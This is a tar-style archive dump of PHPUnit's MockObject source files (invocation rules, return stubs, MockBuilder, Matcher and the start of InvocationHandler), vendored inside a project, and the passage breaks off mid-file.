res/readability/vendor/phpunit/phpunit/src/Framework/MockObject/Rule/ParametersRule.php000064400000001541147577714370025447 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject\Rule; use PHPUnit\Framework\ExpectationFailedException; use PHPUnit\Framework\MockObject\Invocation as BaseInvocation; use PHPUnit\Framework\MockObject\Verifiable; use PHPUnit\Framework\SelfDescribing; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface ParametersRule extends SelfDescribing, Verifiable { /** * @throws ExpectationFailedException if the invocation violates the rule */ public function apply(BaseInvocation $invocation): void; public function verify(): void; } res/readability/vendor/phpunit/phpunit/src/Framework/MockObject/Rule/InvokedAtIndex.php000064400000003540147577714370025371 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject\Rule; use function sprintf; use PHPUnit\Framework\ExpectationFailedException; use PHPUnit\Framework\MockObject\Invocation as BaseInvocation; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit * * @deprecated https://github.com/sebastianbergmann/phpunit/issues/4297 * @codeCoverageIgnore */ final class InvokedAtIndex extends InvocationOrder { /** * @var int */ private $sequenceIndex; /** * @var int */ private $currentIndex = -1; /** * @param int $sequenceIndex */ public function __construct($sequenceIndex) { $this->sequenceIndex = $sequenceIndex; } public function toString(): string { return 'invoked at sequence index ' . $this->sequenceIndex; } public function matches(BaseInvocation $invocation): bool { $this->currentIndex++; return $this->currentIndex == $this->sequenceIndex; } /** * Verifies that the current expectation is valid. If everything is OK the * code should just return, if not it must throw an exception. * * @throws ExpectationFailedException */ public function verify(): void { if ($this->currentIndex < $this->sequenceIndex) { throw new ExpectationFailedException( sprintf( 'The expected invocation at index %s was never reached.', $this->sequenceIndex ) ); } } protected function invokedDo(BaseInvocation $invocation): void { } } res/readability/vendor/phpunit/phpunit/src/Framework/MockObject/Rule/InvocationOrder.php000064400000002312147577714370025616 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject\Rule; use function count; use PHPUnit\Framework\MockObject\Invocation as BaseInvocation; use PHPUnit\Framework\MockObject\Verifiable; use PHPUnit\Framework\SelfDescribing; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ abstract class InvocationOrder implements SelfDescribing, Verifiable { /** * @var BaseInvocation[] */ private $invocations = []; public function getInvocationCount(): int { return count($this->invocations); } public function hasBeenInvoked(): bool { return count($this->invocations) > 0; } final public function invoked(BaseInvocation $invocation) { $this->invocations[] = $invocation; return $this->invokedDo($invocation); } abstract public function matches(BaseInvocation $invocation): bool; abstract protected function invokedDo(BaseInvocation $invocation); } res/readability/vendor/phpunit/phpunit/src/Framework/MockObject/Rule/AnyInvokedCount.php000064400000001504147577714370025573 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject\Rule; use PHPUnit\Framework\MockObject\Invocation as BaseInvocation; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class AnyInvokedCount extends InvocationOrder { public function toString(): string { return 'invoked zero or more times'; } public function verify(): void { } public function matches(BaseInvocation $invocation): bool { return true; } protected function invokedDo(BaseInvocation $invocation): void { } } res/readability/vendor/phpunit/phpunit/src/Framework/MockObject/Rule/InvokedAtLeastCount.php000064400000003241147577714370026401 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject\Rule; use PHPUnit\Framework\ExpectationFailedException; use PHPUnit\Framework\MockObject\Invocation as BaseInvocation; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class InvokedAtLeastCount extends InvocationOrder { /** * @var int */ private $requiredInvocations; /** * @param int $requiredInvocations */ public function __construct($requiredInvocations) { $this->requiredInvocations = $requiredInvocations; } public function toString(): string { return 'invoked at least ' . $this->requiredInvocations . ' times'; } /** * Verifies that the current expectation is valid. If everything is OK the * code should just return, if not it must throw an exception. * * @throws ExpectationFailedException */ public function verify(): void { $count = $this->getInvocationCount(); if ($count < $this->requiredInvocations) { throw new ExpectationFailedException( 'Expected invocation at least ' . $this->requiredInvocations . ' times but it occurred ' . $count . ' time(s).' ); } } public function matches(BaseInvocation $invocation): bool { return true; } protected function invokedDo(BaseInvocation $invocation): void { } } res/readability/vendor/phpunit/phpunit/src/Framework/MockObject/Rule/ConsecutiveParameters.php000064400000007332147577714370027033 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject\Rule; use function count; use function gettype; use function is_iterable; use function sprintf; use PHPUnit\Framework\Constraint\Constraint; use PHPUnit\Framework\Constraint\IsEqual; use PHPUnit\Framework\ExpectationFailedException; use PHPUnit\Framework\InvalidParameterGroupException; use PHPUnit\Framework\MockObject\Invocation as BaseInvocation; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ConsecutiveParameters implements ParametersRule { /** * @var array */ private $parameterGroups = []; /** * @var array */ private $invocations = []; /** * @throws \PHPUnit\Framework\Exception */ public function __construct(array $parameterGroups) { foreach ($parameterGroups as $index => $parameters) { if (!is_iterable($parameters)) { throw new InvalidParameterGroupException( sprintf( 'Parameter group #%d must be an array or Traversable, got %s', $index, gettype($parameters) ) ); } foreach ($parameters as $parameter) { if (!$parameter instanceof Constraint) { $parameter = new IsEqual($parameter); } $this->parameterGroups[$index][] = $parameter; } } } public function toString(): string { return 'with consecutive parameters'; } /** * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public function apply(BaseInvocation $invocation): void { $this->invocations[] = $invocation; $callIndex = count($this->invocations) - 1; $this->verifyInvocation($invocation, $callIndex); } /** * @throws \PHPUnit\Framework\ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException */ public function verify(): void { foreach ($this->invocations as $callIndex => $invocation) { $this->verifyInvocation($invocation, $callIndex); } } /** * Verify a single invocation. * * @param int $callIndex * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ private function verifyInvocation(BaseInvocation $invocation, $callIndex): void { if (!isset($this->parameterGroups[$callIndex])) { // no parameter assertion for this call index return; } $parameters = $this->parameterGroups[$callIndex]; if (count($invocation->getParameters()) < count($parameters)) { throw new ExpectationFailedException( sprintf( 'Parameter count for invocation %s is too low.', $invocation->toString() ) ); } foreach ($parameters as $i => $parameter) { $parameter->evaluate( $invocation->getParameters()[$i], sprintf( 'Parameter %s for invocation #%d %s does not match expected ' . 'value.', $i, $callIndex, $invocation->toString() ) ); } } } res/readability/vendor/phpunit/phpunit/src/Framework/MockObject/Rule/InvokedAtMostCount.php000064400000003226147577714370026256 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject\Rule; use PHPUnit\Framework\ExpectationFailedException; use PHPUnit\Framework\MockObject\Invocation as BaseInvocation; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class InvokedAtMostCount extends InvocationOrder { /** * @var int */ private $allowedInvocations; /** * @param int $allowedInvocations */ public function __construct($allowedInvocations) { $this->allowedInvocations = $allowedInvocations; } public function toString(): string { return 'invoked at most ' . $this->allowedInvocations . ' times'; } /** * Verifies that the current expectation is valid. If everything is OK the * code should just return, if not it must throw an exception. * * @throws ExpectationFailedException */ public function verify(): void { $count = $this->getInvocationCount(); if ($count > $this->allowedInvocations) { throw new ExpectationFailedException( 'Expected invocation at most ' . $this->allowedInvocations . ' times but it occurred ' . $count . ' time(s).' ); } } public function matches(BaseInvocation $invocation): bool { return true; } protected function invokedDo(BaseInvocation $invocation): void { } } res/readability/vendor/phpunit/phpunit/src/Framework/MockObject/Rule/InvokedCount.php000064400000005120147577714370025121 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject\Rule; use function sprintf; use PHPUnit\Framework\ExpectationFailedException; use PHPUnit\Framework\MockObject\Invocation as BaseInvocation; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class InvokedCount extends InvocationOrder { /** * @var int */ private $expectedCount; /** * @param int $expectedCount */ public function __construct($expectedCount) { $this->expectedCount = $expectedCount; } public function isNever(): bool { return $this->expectedCount === 0; } public function toString(): string { return 'invoked ' . $this->expectedCount . ' time(s)'; } public function matches(BaseInvocation $invocation): bool { return true; } /** * Verifies that the current expectation is valid. If everything is OK the * code should just return, if not it must throw an exception. * * @throws ExpectationFailedException */ public function verify(): void { $count = $this->getInvocationCount(); if ($count !== $this->expectedCount) { throw new ExpectationFailedException( sprintf( 'Method was expected to be called %d times, ' . 'actually called %d times.', $this->expectedCount, $count ) ); } } /** * @throws ExpectationFailedException */ protected function invokedDo(BaseInvocation $invocation): void { $count = $this->getInvocationCount(); if ($count > $this->expectedCount) { $message = $invocation->toString() . ' '; switch ($this->expectedCount) { case 0: $message .= 'was not expected to be called.'; break; case 1: $message .= 'was not expected to be called more than once.'; break; default: $message .= sprintf( 'was not expected to be called more than %d times.', $this->expectedCount ); } throw new ExpectationFailedException($message); } } } res/readability/vendor/phpunit/phpunit/src/Framework/MockObject/Stub/ReturnCallback.php000064400000003072147577714370025417 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject\Stub; use function call_user_func_array; use function get_class; use function is_array; use function is_object; use function sprintf; use PHPUnit\Framework\MockObject\Invocation; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ReturnCallback implements Stub { private $callback; public function __construct($callback) { $this->callback = $callback; } public function invoke(Invocation $invocation) { return call_user_func_array($this->callback, $invocation->getParameters()); } public function toString(): string { if (is_array($this->callback)) { if (is_object($this->callback[0])) { $class = get_class($this->callback[0]); $type = '->'; } else { $class = $this->callback[0]; $type = '::'; } return sprintf( 'return result of user defined callback %s%s%s() with the ' . 'passed arguments', $class, $type, $this->callback[1] ); } return 'return result of user defined callback ' . $this->callback . ' with the passed arguments'; } } res/readability/vendor/phpunit/phpunit/src/Framework/MockObject/Stub/ReturnStub.php000064400000001737147577714370024646 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject\Stub; use function sprintf; use PHPUnit\Framework\MockObject\Invocation; use SebastianBergmann\Exporter\Exporter; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ReturnStub implements Stub { /** * @var mixed */ private $value; public function __construct($value) { $this->value = $value; } public function invoke(Invocation $invocation) { return $this->value; } public function toString(): string { $exporter = new Exporter; return sprintf( 'return user-specified value %s', $exporter->export($this->value) ); } } res/readability/vendor/phpunit/phpunit/src/Framework/MockObject/Stub/Exception.php000064400000002036147577714370024460 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject\Stub; use function sprintf; use PHPUnit\Framework\MockObject\Invocation; use SebastianBergmann\Exporter\Exporter; use Throwable; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Exception implements Stub { private $exception; public function __construct(Throwable $exception) { $this->exception = $exception; } /** * @throws Throwable */ public function invoke(Invocation $invocation): void { throw $this->exception; } public function toString(): string { $exporter = new Exporter; return sprintf( 'raise user-specified exception %s', $exporter->export($this->exception) ); } } res/readability/vendor/phpunit/phpunit/src/Framework/MockObject/Stub/ConsecutiveCalls.php000064400000002344147577714370025772 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject\Stub; use function array_shift; use function sprintf; use PHPUnit\Framework\MockObject\Invocation; use SebastianBergmann\Exporter\Exporter; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ConsecutiveCalls implements Stub { /** * @var array */ private $stack; /** * @var mixed */ private $value; public function __construct(array $stack) { $this->stack = $stack; } public function invoke(Invocation $invocation) { $this->value = array_shift($this->stack); if ($this->value instanceof Stub) { $this->value = $this->value->invoke($invocation); } return $this->value; } public function toString(): string { $exporter = new Exporter; return sprintf( 'return user-specified value %s', $exporter->export($this->value) ); } } res/readability/vendor/phpunit/phpunit/src/Framework/MockObject/Stub/ReturnSelf.php000064400000001420147577714370024607 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject\Stub; use PHPUnit\Framework\MockObject\Invocation; use PHPUnit\Framework\MockObject\RuntimeException; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ReturnSelf implements Stub { /** * @throws RuntimeException */ public function invoke(Invocation $invocation) { return $invocation->getObject(); } public function toString(): string { return 'return the current object'; } } res/readability/vendor/phpunit/phpunit/src/Framework/MockObject/Stub/ReturnValueMap.php000064400000002340147577714370025432 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject\Stub; use function array_pop; use function count; use function is_array; use PHPUnit\Framework\MockObject\Invocation; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ReturnValueMap implements Stub { /** * @var array */ private $valueMap; public function __construct(array $valueMap) { $this->valueMap = $valueMap; } public function invoke(Invocation $invocation) { $parameterCount = count($invocation->getParameters()); foreach ($this->valueMap as $map) { if (!is_array($map) || $parameterCount !== (count($map) - 1)) { continue; } $return = array_pop($map); if ($invocation->getParameters() === $map) { return $return; } } } public function toString(): string { return 'return value from a map'; } } res/readability/vendor/phpunit/phpunit/src/Framework/MockObject/Stub/ReturnReference.php000064400000002002147577714370025611 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject\Stub; use function sprintf; use PHPUnit\Framework\MockObject\Invocation; use SebastianBergmann\Exporter\Exporter; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ReturnReference implements Stub { /** * @var mixed */ private $reference; public function __construct(&$reference) { $this->reference = &$reference; } public function invoke(Invocation $invocation) { return $this->reference; } public function toString(): string { $exporter = new Exporter; return sprintf( 'return user-specified reference %s', $exporter->export($this->reference) ); } } res/readability/vendor/phpunit/phpunit/src/Framework/MockObject/Stub/ReturnArgument.php000064400000001772147577714370025512 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject\Stub; use function sprintf; use PHPUnit\Framework\MockObject\Invocation; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ReturnArgument implements Stub { /** * @var int */ private $argumentIndex; public function __construct($argumentIndex) { $this->argumentIndex = $argumentIndex; } public function invoke(Invocation $invocation) { if (isset($invocation->getParameters()[$this->argumentIndex])) { return $invocation->getParameters()[$this->argumentIndex]; } } public function toString(): string { return sprintf('return argument #%d', $this->argumentIndex); } } res/readability/vendor/phpunit/phpunit/src/Framework/MockObject/Stub/Stub.php000064400000001462147577714370023441 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject\Stub; use PHPUnit\Framework\MockObject\Invocation; use PHPUnit\Framework\SelfDescribing; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ interface Stub extends SelfDescribing { /** * Fakes the processing of the invocation $invocation by returning a * specific value. * * @param Invocation $invocation The invocation which was mocked and matched by the current method and argument matchers */ public function invoke(Invocation $invocation); } res/readability/vendor/phpunit/phpunit/src/Framework/MockObject/MockTrait.php000064400000002152147577714370023501 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject; use function class_exists; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class MockTrait implements MockType { /** * @var string */ private $classCode; /** * @var class-string */ private $mockName; /** * @psalm-param class-string $mockName */ public function __construct(string $classCode, string $mockName) { $this->classCode = $classCode; $this->mockName = $mockName; } /** * @psalm-return class-string */ public function generate(): string { if (!class_exists($this->mockName, false)) { eval($this->classCode); } return $this->mockName; } public function getClassCode(): string { return $this->classCode; } } res/readability/vendor/phpunit/phpunit/src/Framework/MockObject/ConfigurableMethod.php000064400000002206147577714370025345 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject; use SebastianBergmann\Type\Type; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ConfigurableMethod { /** * @var string */ private $name; /** * @var Type */ private $returnType; public function __construct(string $name, Type $returnType) { $this->name = $name; $this->returnType = $returnType; } public function getName(): string { return $this->name; } public function mayReturn($value): bool { if ($value === null && $this->returnType->allowsNull()) { return true; } return $this->returnType->isAssignable(Type::fromValue($value, false)); } public function getReturnTypeDeclaration(): string { return $this->returnType->asString(); } } res/readability/vendor/phpunit/phpunit/src/Framework/MockObject/Verifiable.php000064400000001312147577714370023651 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject; use PHPUnit\Framework\ExpectationFailedException; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ interface Verifiable { /** * Verifies that the current expectation is valid. If everything is OK the * code should just return, if not it must throw an exception. * * @throws ExpectationFailedException */ public function verify(): void; } res/readability/vendor/phpunit/phpunit/src/Framework/MockObject/MockBuilder.php000064400000026237147577714370024016 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject; use function array_diff; use function array_merge; use PHPUnit\Framework\TestCase; use ReflectionClass; /** * @psalm-template MockedType * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class MockBuilder { /** * @var TestCase */ private $testCase; /** * @var string */ private $type; /** * @var null|string[] */ private $methods = []; /** * @var bool */ private $emptyMethodsArray = false; /** * @var string */ private $mockClassName = ''; /** * @var array */ private $constructorArgs = []; /** * @var bool */ private $originalConstructor = true; /** * @var bool */ private $originalClone = true; /** * @var bool */ private $autoload = true; /** * @var bool */ private $cloneArguments = false; /** * @var bool */ private $callOriginalMethods = false; /** * @var ?object */ private $proxyTarget; /** * @var bool */ private $allowMockingUnknownTypes = true; /** * @var bool */ private $returnValueGeneration = true; /** * @var Generator */ private $generator; /** * @param string|string[] $type * * @psalm-param class-string|string|string[] $type */ public function __construct(TestCase $testCase, $type) { $this->testCase = $testCase; $this->type = $type; $this->generator = new Generator; } /** * Creates a mock object using a fluent interface. * * @throws \PHPUnit\Framework\InvalidArgumentException * @throws ClassAlreadyExistsException * @throws ClassIsFinalException * @throws DuplicateMethodException * @throws InvalidMethodNameException * @throws OriginalConstructorInvocationRequiredException * @throws ReflectionException * @throws RuntimeException * @throws UnknownTypeException * * @psalm-return MockObject&MockedType */ public function getMock(): MockObject { $object = $this->generator->getMock( $this->type, !$this->emptyMethodsArray ? $this->methods : null, $this->constructorArgs, $this->mockClassName, $this->originalConstructor, $this->originalClone, $this->autoload, $this->cloneArguments, $this->callOriginalMethods, $this->proxyTarget, $this->allowMockingUnknownTypes, $this->returnValueGeneration ); $this->testCase->registerMockObject($object); return $object; } /** * Creates a mock object for an abstract class using a fluent interface. * * @psalm-return MockObject&MockedType * * @throws \PHPUnit\Framework\Exception * @throws ReflectionException * @throws RuntimeException */ public function getMockForAbstractClass(): MockObject { $object = $this->generator->getMockForAbstractClass( $this->type, $this->constructorArgs, $this->mockClassName, $this->originalConstructor, $this->originalClone, $this->autoload, $this->methods, $this->cloneArguments ); $this->testCase->registerMockObject($object); return $object; } /** * Creates a mock object for a trait using a fluent interface. * * @psalm-return MockObject&MockedType * * @throws \PHPUnit\Framework\Exception * @throws ReflectionException * @throws RuntimeException */ public function getMockForTrait(): MockObject { $object = $this->generator->getMockForTrait( $this->type, $this->constructorArgs, $this->mockClassName, $this->originalConstructor, $this->originalClone, $this->autoload, $this->methods, $this->cloneArguments ); $this->testCase->registerMockObject($object); return $object; } /** * Specifies the subset of methods to mock. Default is to mock none of them. * * @deprecated https://github.com/sebastianbergmann/phpunit/pull/3687 * * @return $this */ public function setMethods(?array $methods = null): self { if ($methods === null) { $this->methods = $methods; } else { $this->methods = array_merge($this->methods ?? [], $methods); } return $this; } /** * Specifies the subset of methods to mock, requiring each to exist in the class. * * @param string[] $methods * * @throws CannotUseOnlyMethodsException * @throws ReflectionException * * @return $this */ public function onlyMethods(array $methods): self { if (empty($methods)) { $this->emptyMethodsArray = true; return $this; } try { $reflector = new ReflectionClass($this->type); // @codeCoverageIgnoreStart } catch (\ReflectionException $e) { throw new ReflectionException( $e->getMessage(), (int) $e->getCode(), $e ); } // @codeCoverageIgnoreEnd foreach ($methods as $method) { if (!$reflector->hasMethod($method)) { throw new CannotUseOnlyMethodsException($this->type, $method); } } $this->methods = array_merge($this->methods ?? [], $methods); return $this; } /** * Specifies methods that don't exist in the class which you want to mock. * * @param string[] $methods * * @throws CannotUseAddMethodsException * @throws ReflectionException * @throws RuntimeException * * @return $this */ public function addMethods(array $methods): self { if (empty($methods)) { $this->emptyMethodsArray = true; return $this; } try { $reflector = new ReflectionClass($this->type); // @codeCoverageIgnoreStart } catch (\ReflectionException $e) { throw new ReflectionException( $e->getMessage(), (int) $e->getCode(), $e ); } // @codeCoverageIgnoreEnd foreach ($methods as $method) { if ($reflector->hasMethod($method)) { throw new CannotUseAddMethodsException($this->type, $method); } } $this->methods = array_merge($this->methods ?? [], $methods); return $this; } /** * Specifies the subset of methods to not mock. Default is to mock all of them. * * @deprecated https://github.com/sebastianbergmann/phpunit/pull/3687 * * @throws ReflectionException */ public function setMethodsExcept(array $methods = []): self { return $this->setMethods( array_diff( $this->generator->getClassMethods($this->type), $methods ) ); } /** * Specifies the arguments for the constructor. * * @return $this */ public function setConstructorArgs(array $args): self { $this->constructorArgs = $args; return $this; } /** * Specifies the name for the mock class. * * @return $this */ public function setMockClassName(string $name): self { $this->mockClassName = $name; return $this; } /** * Disables the invocation of the original constructor. * * @return $this */ public function disableOriginalConstructor(): self { $this->originalConstructor = false; return $this; } /** * Enables the invocation of the original constructor. * * @return $this */ public function enableOriginalConstructor(): self { $this->originalConstructor = true; return $this; } /** * Disables the invocation of the original clone constructor. * * @return $this */ public function disableOriginalClone(): self { $this->originalClone = false; return $this; } /** * Enables the invocation of the original clone constructor. * * @return $this */ public function enableOriginalClone(): self { $this->originalClone = true; return $this; } /** * Disables the use of class autoloading while creating the mock object. * * @return $this */ public function disableAutoload(): self { $this->autoload = false; return $this; } /** * Enables the use of class autoloading while creating the mock object. * * @return $this */ public function enableAutoload(): self { $this->autoload = true; return $this; } /** * Disables the cloning of arguments passed to mocked methods. * * @return $this */ public function disableArgumentCloning(): self { $this->cloneArguments = false; return $this; } /** * Enables the cloning of arguments passed to mocked methods. * * @return $this */ public function enableArgumentCloning(): self { $this->cloneArguments = true; return $this; } /** * Enables the invocation of the original methods. * * @return $this */ public function enableProxyingToOriginalMethods(): self { $this->callOriginalMethods = true; return $this; } /** * Disables the invocation of the original methods. * * @return $this */ public function disableProxyingToOriginalMethods(): self { $this->callOriginalMethods = false; $this->proxyTarget = null; return $this; } /** * Sets the proxy target. * * @return $this */ public function setProxyTarget(object $object): self { $this->proxyTarget = $object; return $this; } /** * @return $this */ public function allowMockingUnknownTypes(): self { $this->allowMockingUnknownTypes = true; return $this; } /** * @return $this */ public function disallowMockingUnknownTypes(): self { $this->allowMockingUnknownTypes = false; return $this; } /** * @return $this */ public function enableAutoReturnValueGeneration(): self { $this->returnValueGeneration = true; return $this; } /** * @return $this */ public function disableAutoReturnValueGeneration(): self { $this->returnValueGeneration = false; return $this; } } res/readability/vendor/phpunit/phpunit/src/Framework/MockObject/MockObject.php000064400000001566147577714370023634 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject; use PHPUnit\Framework\MockObject\Builder\InvocationMocker as BuilderInvocationMocker; use PHPUnit\Framework\MockObject\Rule\InvocationOrder; /** * @method BuilderInvocationMocker method($constraint) * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface MockObject extends Stub { public function __phpunit_setOriginalObject($originalObject): void; public function __phpunit_verify(bool $unsetInvocationMocker = true): void; public function expects(InvocationOrder $invocationRule): BuilderInvocationMocker; } res/readability/vendor/phpunit/phpunit/src/Framework/MockObject/Matcher.php000064400000016657147577714370023206 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject; use function assert; use function implode; use function sprintf; use PHPUnit\Framework\ExpectationFailedException; use PHPUnit\Framework\MockObject\Rule\AnyInvokedCount; use PHPUnit\Framework\MockObject\Rule\AnyParameters; use PHPUnit\Framework\MockObject\Rule\InvocationOrder; use PHPUnit\Framework\MockObject\Rule\InvokedCount; use PHPUnit\Framework\MockObject\Rule\MethodName; use PHPUnit\Framework\MockObject\Rule\ParametersRule; use PHPUnit\Framework\MockObject\Stub\Stub; use PHPUnit\Framework\TestFailure; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Matcher { /** * @var InvocationOrder */ private $invocationRule; /** * @var mixed */ private $afterMatchBuilderId; /** * @var bool */ private $afterMatchBuilderIsInvoked = false; /** * @var MethodName */ private $methodNameRule; /** * @var ParametersRule */ private $parametersRule; /** * @var Stub */ private $stub; public function __construct(InvocationOrder $rule) { $this->invocationRule = $rule; } public function hasMatchers(): bool { return !$this->invocationRule instanceof AnyInvokedCount; } public function hasMethodNameRule(): bool { return $this->methodNameRule !== null; } public function getMethodNameRule(): MethodName { return $this->methodNameRule; } public function setMethodNameRule(MethodName $rule): void { $this->methodNameRule = $rule; } public function hasParametersRule(): bool { return $this->parametersRule !== null; } public function setParametersRule(ParametersRule $rule): void { $this->parametersRule = $rule; } public function setStub(Stub $stub): void { $this->stub = $stub; } public function setAfterMatchBuilderId(string $id): void { $this->afterMatchBuilderId = $id; } /** * @throws ExpectationFailedException * @throws MatchBuilderNotFoundException * @throws MethodNameNotConfiguredException * @throws RuntimeException */ public function invoked(Invocation $invocation) { if ($this->methodNameRule === null) { throw new MethodNameNotConfiguredException; } if ($this->afterMatchBuilderId !== null) { $matcher = $invocation->getObject() ->__phpunit_getInvocationHandler() ->lookupMatcher($this->afterMatchBuilderId); if (!$matcher) { throw new MatchBuilderNotFoundException($this->afterMatchBuilderId); } assert($matcher instanceof self); if ($matcher->invocationRule->hasBeenInvoked()) { $this->afterMatchBuilderIsInvoked = true; } } $this->invocationRule->invoked($invocation); try { if ($this->parametersRule !== null) { $this->parametersRule->apply($invocation); } } catch (ExpectationFailedException $e) { throw new ExpectationFailedException( sprintf( "Expectation failed for %s when %s\n%s", $this->methodNameRule->toString(), $this->invocationRule->toString(), $e->getMessage() ), $e->getComparisonFailure() ); } if ($this->stub) { return $this->stub->invoke($invocation); } return $invocation->generateReturnValue(); } /** * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException * @throws MatchBuilderNotFoundException * @throws MethodNameNotConfiguredException * @throws RuntimeException */ public function matches(Invocation $invocation): bool { if ($this->afterMatchBuilderId !== null) { $matcher = $invocation->getObject() ->__phpunit_getInvocationHandler() ->lookupMatcher($this->afterMatchBuilderId); if (!$matcher) { throw new MatchBuilderNotFoundException($this->afterMatchBuilderId); } assert($matcher instanceof self); if (!$matcher->invocationRule->hasBeenInvoked()) { return false; } } if ($this->methodNameRule === null) { throw new MethodNameNotConfiguredException; } if (!$this->invocationRule->matches($invocation)) { return false; } try { if (!$this->methodNameRule->matches($invocation)) { return false; } } catch (ExpectationFailedException $e) { throw new ExpectationFailedException( sprintf( "Expectation failed for %s when %s\n%s", $this->methodNameRule->toString(), $this->invocationRule->toString(), $e->getMessage() ), $e->getComparisonFailure() ); } return true; } /** * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException * @throws MethodNameNotConfiguredException */ public function verify(): void { if ($this->methodNameRule === null) { throw new MethodNameNotConfiguredException; } try { $this->invocationRule->verify(); if ($this->parametersRule === null) { $this->parametersRule = new AnyParameters; } $invocationIsAny = $this->invocationRule instanceof AnyInvokedCount; $invocationIsNever = $this->invocationRule instanceof InvokedCount && $this->invocationRule->isNever(); if (!$invocationIsAny && !$invocationIsNever) { $this->parametersRule->verify(); } } catch (ExpectationFailedException $e) { throw new ExpectationFailedException( sprintf( "Expectation failed for %s when %s.\n%s", $this->methodNameRule->toString(), $this->invocationRule->toString(), TestFailure::exceptionToString($e) ) ); } } public function toString(): string { $list = []; if ($this->invocationRule !== null) { $list[] = $this->invocationRule->toString(); } if ($this->methodNameRule !== null) { $list[] = 'where ' . $this->methodNameRule->toString(); } if ($this->parametersRule !== null) { $list[] = 'and ' . $this->parametersRule->toString(); } if ($this->afterMatchBuilderId !== null) { $list[] = 'after ' . $this->afterMatchBuilderId; } if ($this->stub !== null) { $list[] = 'will ' . $this->stub->toString(); } return implode(' ', $list); } } res/readability/vendor/phpunit/phpunit/src/Framework/MockObject/InvocationHandler.php000064400000010623147577714370025215 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject; use function strtolower; use Exception; use PHPUnit\Framework\MockObject\Builder\InvocationMocker; use PHPUnit\Framework\MockObject\Rule\InvocationOrder; use Throwable; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class InvocationHandler { /** * @var Matcher[] */ private $matchers = []; /** * @var Matcher[] */ private $matcherMap = []; /** * @var ConfigurableMethod[] */ private $configurableMethods; /** * @var bool */ private $returnValueGeneration; /** * @var Throwable */ private $deferredError; public function __construct(array $configurableMethods, bool $returnValueGeneration) { $this->configurableMethods = $configurableMethods; $this->returnValueGeneration = $returnValueGeneration; } public function hasMatchers(): bool { foreach ($this->matchers as $matcher) { if ($matcher->hasMatchers()) { return true; } } 